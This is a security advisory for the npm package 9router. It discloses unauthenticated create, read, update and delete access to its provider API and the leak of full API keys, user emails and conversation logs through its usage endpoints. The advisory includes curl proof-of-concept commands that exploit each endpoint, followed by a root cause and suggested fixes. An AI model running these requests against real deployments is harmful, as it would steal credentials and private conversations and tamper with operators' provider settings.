GHSA-vjc7-jrh9-9j86 9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats

• npm 9router: <= 0.4.41 (no fix yet)

--- title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: /api/providers ``` Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes. 2. Create a provider without authentication ```bash curl -X POST https:///api/providers \ -H "Content-Type: application/json" \ -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}' ``` Returns the created connection object with a new UUID and `isActive: true`. 3. Modify an existing provider without authentication ```bash curl -X PUT https:///api/providers/ \ -H "Content-Type: application/json" \ -d '{"name":"modified","apiKey":"sk-attacker-key"}' ``` Returns the updated connection object. 4. Delete a provider without authentication ```bash curl -X DELETE https:///api/providers/ ``` Returns `{"message":"Connection deleted successfully"}`. 5. Read full usage stats with API keys ```bash curl -s https:///api/usage/stats ``` Returns full API key strings, per-account token/cost breakdown, recent requests. 6. Read request logs ```bash curl -s "https:///api/usage/request-logs?page=1&pageSize=50" ``` Returns paginated request logs with timestamps, models, providers, user emails, token counts. 7. Read full conversation ```bash curl -s https:///api/usage/request-details/ ``` Returns complete conversation turns for that request. 8. Read version info ```bash curl -s https:///api/version ``` Returns `{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}`. Root Cause The Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically: • `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database • `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys • `/api/usage/request-logs` — No auth check before returning request history • `/api/usage/request-details/:id` — No auth check before returning full conversation contents Suggested Fix 1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE) 2. Add authentication middleware to all `/api/usage/*` routes 3. Never return full API key strings in any API response — return masked keys only 4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses 5. Implement proper authorization checks so users can only access their own data 6. Add rate limiting to public endpoints Resources • https://github.com/decolua/9router